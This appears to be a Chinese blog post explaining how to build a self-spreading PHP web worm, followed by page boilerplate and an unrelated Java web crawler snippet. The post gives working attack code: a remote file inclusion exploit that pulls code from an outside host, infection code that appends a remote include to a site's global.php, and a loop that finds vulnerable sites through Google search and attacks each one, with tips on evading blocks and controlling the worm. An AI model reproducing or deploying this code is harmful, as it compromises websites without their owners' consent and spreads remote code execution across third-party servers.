一个web蠕虫的简单实现

本帖子原来是T_Torchidy的投稿文章,被tombkeeper转入论坛。

在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织

,所谓黑客的后门,鄙视!
    所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实

现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节点上做了限制。,传播受到限制。但是与此同

时,web服务的广泛兴起,各种web程序的漏洞不断被发现,web服务的特殊性以及搜索引擎的强大功能就给了web蠕虫滋生的温床

,下面就给大家讲述一个在php环境下的web蠕虫的简单实现。

一  需要的程序漏洞

    php程序的流行加上php的灵活性导致的安全漏洞很多,其中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:

<?
@include $page;
?>

    其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默

认将远程文件选项allow_url_fopen配置为on,导致包含我们指定的远程文件变得可能。这样存在类似漏洞的程序很多,于是我

们可以在其中将变量定义为我们的一个文件如 http://www.defence80.com/worm.txt,其中执行的的代码我们可以控制。我们只

要简单的GET这个页面:

Iam_vul.php?page=http://www.defence80.com/worm.txt

就可以让worm.txt内容在网站执行:)


二  感染

    我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?很明显,php

代码可以做到这点。我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码:

<?
@include " http://www.defence80.com/worm.txt";
?>

    当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,传统的蠕虫也是这样做的!实现很简单,我们可

以在网站目录下面生成一个worm.txt表示已经被感染,代码变为:

<?if(!file_exists('worm.txt'))
{
fputs(fopen('worm.txt','a+'),'I am a worm!');
fputs(fopen('global.php','a+'),'<?@include " http://www.defence80.com/worm.txt";?>');
}
?>

    这样这个网站就被我们寄生了:)

三  传播

    传统的蠕虫是自己随机生成攻击目标或者扫描得到攻击目标的,但是很明显,web不可能自己实现这一点,但是搜索引擎的

壮大使着变得可能。假设我们的目标系统的关键页面是Iam_vul.php这个页面,那么我们可以通过Google搜索这个已经提取好的

关键字的页面,然后稍加处理就可以生成攻击目标的列表了:)当然也要考虑一些其他的因素,包括代码执行的速率,我们的这

个攻击代码是会被插入到漏洞网站执行的,所以不要影响人家页面的打开速度,因为你可能不希望你的蠕虫那么快就死掉。我这

里简单的考虑目标的选取和个数的确定:

<?
$random = rand(0, 30);
$random = 10*$random;                                 //随机取0-300之间的数目,我这里是作为示例:)
$query  = 'Iam_vul.php';                              //关键字
$url = " http://www.google.com/search?q=".$query.&q ... r=&start=".$random;
if($contents=@file_get_contents($url))                //取得Google页面的返回
    {
        $pattern="|<a class=l href=['"]?([^ '"]+)['" ]|U";
        @preg_match_all($pattern,$contents, $regArr, PREG_SET_ORDER);
        for($i=0;$i<@count($regArr);$i++)    {
                                            $site=@preg_replace

("/Iam_vul.php(.*)$/i",'',$regArr[$i][1]);           //处理生成结果,可以考虑修改感染个数
                                            @file_get_contents

($site."Iam_vul.php?page=http://www.defence80.com/worm.txt"); //攻击目标网站,的确就这么简单
                                        
                                        }
    }
?>

    能不能传播时间够长可能这一步就是关键了,首先你要有精粹的攻击代码,其次要能精确的定位目标,再者因为

file_get_contents函数的简单可能很容易被搜索引擎封锁,你需要用其他如fsockopen函数代替这个,为了应付环境的不确定性

你需要判断函数的存在做错误处理,能做到不影响目标网站的运行而执行传播最好了!

四  如何控制?

    精心构造好上面的数据就可以测试你的蠕虫了,但是如何控制这个放出去的恶魔呢?我们可以将包含worm.txt换成worm.php

,然后简单的监视来访问的worm.php的次数就很容易控制这个蠕虫,你也随时可以更改这个代码让蠕虫做任何其他的事情。

五  总结

    精心构造自己的代码,web蠕虫是现实的,如果你发现了某个漏洞,是公布出去让人写工具搞破坏挂马还是尝试写一个善意

的蠕虫去尝试修复漏洞或者提醒管理员呢?再次鄙视那些写没有思想只写垃圾工具的废物!完毕! 
 
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个简单的Java蠕虫示例代码: ```java import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.util.HashSet; import java.util.LinkedList; import java.util.Queue; import java.util.Set; public class WebCrawler { private Queue<String> queue; private Set<String> visitedUrls; public WebCrawler() { queue = new LinkedList<String>(); visitedUrls = new HashSet<String>(); } public void crawl(String url) { queue.add(url); visitedUrls.add(url); while (!queue.isEmpty()) { String nextUrl = queue.poll(); System.out.println("Visiting " + nextUrl); try { URL urlObject = new URL(nextUrl); BufferedReader in = new BufferedReader(new InputStreamReader(urlObject.openStream())); String inputLine; while ((inputLine = in.readLine()) != null) { if (inputLine.contains("href=\"")) { String link = inputLine.substring(inputLine.indexOf("href=\"") + 6, inputLine.indexOf("\"", inputLine.indexOf("href=\"") + 6)); if (link.startsWith("http") && !visitedUrls.contains(link)) { visitedUrls.add(link); queue.add(link); } } } in.close(); } catch (Exception e) { System.out.println("Error: " + e.getMessage()); } } } public static void main(String[] args) { WebCrawler crawler = new WebCrawler(); crawler.crawl("https://www.baidu.com"); } } ``` 这个蠕虫程序从指定的URL开始爬取网页,并查找每个网页中的超链接。它将未访问过的链接添加到队列中,以便稍后访问。程序会一直进行,直到队列为空。注意,这个简单的示例代码没有包括任何链接深度或其他高级功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值